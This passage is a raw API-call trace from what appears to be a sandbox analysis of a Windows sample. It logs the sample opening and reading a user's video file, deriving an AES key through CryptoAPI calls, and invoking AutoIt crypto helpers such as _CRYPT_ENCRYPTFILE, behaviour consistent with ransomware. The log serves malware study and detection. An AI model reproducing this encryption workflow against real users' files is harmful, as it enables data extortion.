yjgrmaawnvzf.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=94, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0029.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=94, lpWideCharStr=0xe8f408ca20, cchWideChar=94 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\e86sW yJgRMAaWNvzF.avi") returned 94 [0029.268] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.269] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.269] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.269] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.269] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178980, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.270] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.270] CloseHandle (hObject=0x1fc) returned 1 [0029.270] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.270] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.270] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.270] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.270] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.270] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.270] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.270] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.270] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.270] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.271] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.271] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.271] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.271] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.271] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.272] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.272] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.272] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199650) returned 1 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.272] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.272] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.272] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.273] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.273] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.273] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.273] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.273] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.273] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.273] CryptCreateHash (in: hProv=0xe8f4199650, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.273] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.274] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.274] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.274] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.274] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.274] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b900, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.274] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.274] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.274] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.274] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.274] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.274] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.274] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.274] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.274] CryptDeriveKey (in: hProv=0xe8f4199650, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0029.275] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.275] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.275] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.275] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.275] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.275] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.275] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.276] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417ad60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0029.276] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0029.276] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0029.277] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.277] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.277] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.278] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.278] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.278] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\e86sW yJgRMAaWNvzF.avi" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx\\e86sw yjgrmaawnvzf.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.278] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.278] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.278] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.278] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.278] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.278] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.278] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.278] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.279] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.280] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.280] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5384, lpOverlapped=0x0) returned 1 [0029.281] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.282] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.282] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.282] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.282] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.282] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.282] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.282] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.283] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.283] PeekMessageW 